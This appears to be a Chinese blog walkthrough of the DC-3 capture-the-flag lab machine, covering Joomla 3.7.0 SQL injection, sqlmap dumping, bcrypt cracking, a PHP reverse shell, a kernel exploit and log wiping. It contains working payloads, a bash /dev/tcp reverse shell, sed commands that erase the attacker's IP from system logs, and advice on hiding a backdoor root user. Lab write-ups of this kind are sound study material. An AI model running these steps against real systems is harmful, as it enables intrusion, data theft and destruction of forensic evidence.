DC-3靶机渗透--CTFer从0到1的进阶之路

前言:本此靶机涉及到了内核提权漏洞,然后有些教程里面说开靶机的时候有问题,但我没啥问题(因为毕竟两个软件开的,也算是独树一帜hhh)也算是自己的探索结合别的师傅进行一个汇总吧


免责声明

重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动

本文档所有技术演示仅在本地虚拟机环境(DC-3靶机)中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。

如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。

阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。

1.信息搜集

开始的话就不再赘述了,甩两条命令看看就行:

bash 复制代码
nmap -sn 10.254.85.0/24  

nmap -sV -p- 10.254.85.130

可以看到就开了个80端口,插件看一眼是joomla:

或者命令行输入找一下:

bash 复制代码
whatweb -v 10.254.85.130

进去的界面有如下提示:

简单来说就是一个flag和入口点,没有提示,最终需要提权,先扫个目录看看有没有后台可以进啥的:

bash 复制代码
dirsearch -u http://10.254.85.130 -e *

直接扫到了管理员后台,进去之后就是一个登录界面,要账户密码,后面应该是要爆破的:

再看一下Joomla的版本,看看有没有相应漏洞,有joomscan这么一个工具:

bash 复制代码
joomscan -u 10.254.85.130

扫出来Joomla的版本为3.7.0,网上搜一下可以发现是存在SQL注入漏洞,poc如下:

bash 复制代码
http://your-ip:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database),1)

相关参数如下,感兴趣的可以看看:

参数 含义 作用
index.php 入口文件 Joomla 的核心前端控制器,所有 HTTP 请求都会通过它来解析和路由。
option=com_fields 组件 (Component) 告诉 Joomla 加载名为 com_fields(自定义字段)的组件。这个组件是在 Joomla 3.7.0 版本新引入的。
view=fields 视图 (View) 指定加载 com_fields 组件中的 fields 视图。在漏洞场景中,结合下一个参数,会强制加载该组件的管理员视图。
layout=modal 布局 (Layout) 指定以 modal(模态框)的布局来渲染 fields 视图。这是触发漏洞的关键条件之一,它会让 Joomla 从管理员目录加载模型(Model),从而暴露了本不该对公网开放的逻辑。
list[fullordering] 用户输入参数 这是 com_fields 组件中用于控制列表排序方式的参数。漏洞正是出在这里 。程序在拼接 SQL 语句时,只使用了 escape 函数(仅转义引号),而未对内容做严格过滤,导致攻击者可以在这里注入恶意的 SQL 代码。

这里想偷懒一下,先试试metasploit能不能直接搞出个shell:

bash 复制代码
# 启动msfconsole
msfconsole
 
# 在msf中搜索drupal相关漏洞
search joomla

看到第六个刚好就是sqli-rce(果然是非常强大的工具),按照之前DC-1的流程走一遍:

bash 复制代码
use 6

show options 

set RHOSTS 10.254.85.130

run

然后这里就出现了一个问题,提示说需要管理员权限:

(插入一句,我发现好像metasploit也能看到版本哎:

算是直接帮忙检测了?不过还是得知道版本才能选用哪一个漏洞hhh)


2.数据库爆破

┭┮﹏┭┮ 还是得爆数据库,那么就用之前给的poc看一下,先是爆数据库:

bash 复制代码
http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

得到数据库名为joomladb,然后是爆表:

bash 复制代码
10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)

但是这样一个个爆过去太麻烦了,上sqlmap,懒人一条龙如下:

bash 复制代码
sqlmap -u "http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

命令参数拆解如下:

  • -u <URL>:指定要扫描的目标网址。

  • --risk=3:设置探测风险等级,范围为1-3。等级3会使用"OR"等更可能导致数据被篡改的语句进行测试,虽然风险高,但能提高发现漏洞的概率。在靶场环境中可以放心使用 。

  • --level=5:设置探测深度,范围为1-5。等级5会让sqlmap测试更多的HTTP参数和请求头(如User-Agent、Referer、Cookie等),虽然慢,但更彻底。DC-3的注入点正需要这么高的等级才能检测到 。

  • --random-agent:随机更换User-Agent(浏览器标识)。这可以避免被一些简单的防护机制识别和拦截 。

  • --dbs:这个参数告诉sqlmap,在检测到注入后,直接开始枚举所有数据库的名称 。

  • -p list[fullordering] :手动指定注入参数。-p 参数强制sqlmap只对 list[fullordering] 这个特定的参数进行测试,因为漏洞点就在这里,可以避免浪费时间去测试其他无关参数 。

  • --batch:自动运行模式。使用该参数后,sqlmap遇到询问都会自动选择默认选项,全程无需手动干预,非常适合教程场景

一共爆出这么几个,然后是爆表:

bash 复制代码
sqlmap -u "http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch   

-D 是 Database 的缩写,用于指定要操作的数据库名称。

爆出来一堆,工具用的好果然能提升效率。看到这里有一个比较关键的users表,爆个字段:

bash 复制代码
sqlmap -u "http://10.254.85.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,username,password --dump -p list[fullordering] --batch

-T = Table(表)指定要操作的表是 #__users

-C = Column(列)指定要导出的列:姓名(name)、用户名(username)、密码(password)

--dump导出数据:将选中的数据导出并显示
bash 复制代码
john --format=bcrypt --show dc3_hash.txt

这是一个非常典型的 Joomla 密码哈希,开头是 $2y$,代表它是 bcrypt 算法加密,$2y$10$ 中的 10 表示加密强度(成本因子)又学到了一个新的爆破工具:john【能够处理众多不同类型的密码哈希】

我们先将这个哈希保存到一个文件中:

bash 复制代码
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > dc3_hash.txt

爆破一下:

bash 复制代码
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt dc3_hash.txt

--format=bcrypt - 指定哈希类型
--format=:告诉 john 要破解的密码是什么加密类型
bcrypt:指定为 bcrypt 加密($2y$10$ 开头的)

--wordlist= - 指定字典文件
--wordlist=:告诉 john 用哪个密码字典来尝试
/usr/share/wordlists/rockyou.txt:Kali 自带的经典密码字典

然后我之前已经爆破过一次了所以这里就没再显示,查找一下即可:

bash 复制代码
john --format=bcrypt --show dc3_hash.txt

3.获取shell

确认密码为snoopy,接下来就是连上shell,有挺多方法的,不用metasploit的话就是写文件进行反弹shell,这里面登录最开始进去的那个页面没搞出来啥东西,得用到我们之前扫出来的那个administrator界面:

那么这里就有师傅就会问了:为什么这么直接就找到这里面写反弹shell的文件呢?这是 Joomla 渗透测试中的一个经典 Getshell 手法,在各种安全文章和实战中都被广泛提及和验证:

选择模板(Templates)作为攻击入口,主要有以下几个原因:

  • 直接写入 Web 可执行文件 :模板文件(如 index.phperror.php)都是 .php 后缀,存放在网站的 templates 目录下。修改这些文件,相当于直接在服务器上创建一个能被浏览器访问并执行的 PHP 脚本。

  • 代码可执行.php 文件中的任何 PHP 代码都会被服务器解析执行。反弹 Shell 的代码本质就是一段 PHP 脚本,因此模板文件是放置它的理想位置。

  • 权限维持 :修改一个系统核心的模板文件(如 error.php),即使管理员发现了我们的后门并删除,也可能因为忽略了模板文件的完整性而留下隐患。而且 error.php 这样的文件通常会在特定错误条件下被调用,触发起来可能更隐蔽。

我们点击蓝色的Beez3那个,进去之后就能看到一堆文件,这里新建一个即可:

bash 复制代码
<?php
	system("bash -c 'bash -i >& /dev/tcp/ip/4444 0>&1'");
?> 

//填自己的ip和监听的端口就行,我这里kali里面是 nc -lvp 4444

但是开了监听之后并没有什么神奇的事情出现,因为我们只是写了这么一个文件在模板中,还需要访问才能触发。之前用dirsearch扫路径的时候是可以看到/templates/beez3/是可以访问的(忘记了的话可以自己翻一翻或者再扫一次),那么我们现在再浏览器里重新输入:

bash 复制代码
http://ip/templates/beez3/html/nc.php

可以看到就能执行成功了.

或者简单一点的,还记得我们之前用metasploit的时候提示说要管理员权限吗,我们登录了之后就有这个权限了,那么就应该能直接连shell(具体方法写在前面,翻一下就好了,这里给个交互):

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

也是成功连接


4.提权

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

这里面我尝试了一下好像不行,那么回到刚开始的那个提示界面:

讲到了system,有可能是内核提权看一眼:

bash 复制代码
uname -a 
#显示所有系统信息

uname -r
#只显示内核版本

cat /etc/issue
#显示发行版信息

用searchexploit找一下:

bash 复制代码
searchsploit Ubuntu 16.04

看到有挺多的,可以网上搜一搜具体的,这里就是选择39772.txt那个:

具体网站

现在要将exp下到靶机上面:

bash 复制代码
www-data@DC-3:/var/www/html/templates/beez3/html$ wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

#然后解压一下
unzip 39772.zip

先转到39772目录下面,可以列一下文件,可以看到有个exploit的tar包,这就是我们要利用的exp,解压一下:

bash 复制代码
tar -xvf exploit.tar
参数 全称 含义 作用
-x extract 解压 从归档文件中提取文件
-v verbose 详细模式 显示正在解压的文件列表
-f file 文件 指定要操作的文件名

使用的方法和成功结果也在文章中写出来了:

按照上面的走,先转目录,再看一眼文件:

bash 复制代码
cd ebpf_mapfd_doubleput_exploit

ls -la

执行编译文件:

bash 复制代码
# 给编译脚本执行权限
chmod +x compile.sh

# 运行编译脚本
./compile.sh

# 查看编译生成的文件
ls -la

最后就是运行漏洞利用程序:

bash 复制代码
./doubleput

转到/root目录下拿到flag:

bash 复制代码
cd /root

cat t*

Have a great day!


5.痕迹清理

这里参考自c30师傅的清理过程:DC-3靶机渗透 痕迹清理很详细,有些是我之前没想到的

清除web日志

Ubuntu 的 Apache 日志:

bash 复制代码
/var/log/apache2/
├── access.log      # 访问日志(谁、什么时候、访问了什么)
├── error.log       # 错误日志
├── other_vhosts_access.log
└── ...

可以直接删除跟我们ip有关的记录:

bash 复制代码
# 先看看日志里有哪些我们的痕迹
grep "10.254.85.130" /var/log/apache2/access.log

# 用 sed 命令删除包含我们IP的行
sed -i '/10.254.85.130/d' /var/log/apache2/access.log

# 同样处理 error.log
sed -i '/10.254.85.130/d' /var/log/apache2/error.log

清除系统日志

bash 复制代码
# 删除 auth.log 中包含 10.254.85.130 的所有行
sed -i '/10.254.85.130/d' /var/log/auth.log

# 删除 syslog 中包含 10.254.85.130 的所有行
sed -i '/10.254.85.130/d' /var/log/syslog

清除上传的文件

bash 复制代码
rm /var/www/html/templates/beez3/html/nc.php
rm -rf /var/www/html/templates/beez3/39772/

这里有个点是会话建立后删除文件并不会中断当前会话,反弹 Shell 文件就像一把钥匙,我们用它打开门进去之后,钥匙就可以扔了,门已经开着,我们在里面活动不受影响。

数据库日志清除

mysql中也有一个error.log,里面主要记录的是日期有关的:

bash 复制代码
sed -i '/2026-03/d' /var/log/mysql/error.log

可以看到只剩2020年的了

清除历史命令

清除之前我们所产生的:

bash 复制代码
history -c

#临时禁用历史记录
set +o history

临时关闭当前 shell 的历史记录功能,之后的所有命令都不进内存,自然也不会写文件。

6.总结

这里最后还可以植入持久化后门的,由于之前写过了这里就不再赘述,方法都一样。着重一下useradd一个root用户那里,创建的位置建议是/var/log目录下,在 Linux 中,以点开头的文件或目录默认被 ls 隐藏,用户同理 ,比如我们在该目录下创建**.systemd**,管理员一般都是直接ls,那么我们创建的用户很可能被忽略(但是应该都是ls -la了吧...)

第一次接触到内核提权也是学到了很多,以及对痕迹清理的进一步拓展,期待下一个靶机ing...

相关推荐
骥龙2 小时前
第四篇:部署阶段安全加固——从裸奔到生产级防护
运维·网络·人工智能·安全
数字护盾(和中)3 小时前
AI 赋能安全:重构数字防御新范式
人工智能·安全·重构
玥轩_5213 小时前
9787302595373 信息系统安全(第二版)习题答案
安全
一只鹿鹿鹿3 小时前
网络安全风险评估报告如何写?(Word文件)
java·大数据·spring boot·安全·web安全·小程序
网安情报局3 小时前
2026网络安全六大确定性趋势
大数据·人工智能·网络安全
大黄说说3 小时前
Rust 入门到实战:构建安全、高性能的下一代系统
开发语言·安全·rust
大方子4 小时前
【PolarCTF】session文件包含
网络安全·polarctf
kaolagirl4 小时前
微信小程序-滑动拼图安全验证
安全·微信小程序·小程序
Z1eaf_complete4 小时前
OpenSSL 可预测 PRNG 漏洞(CVE-2008-0166)
安全·web安全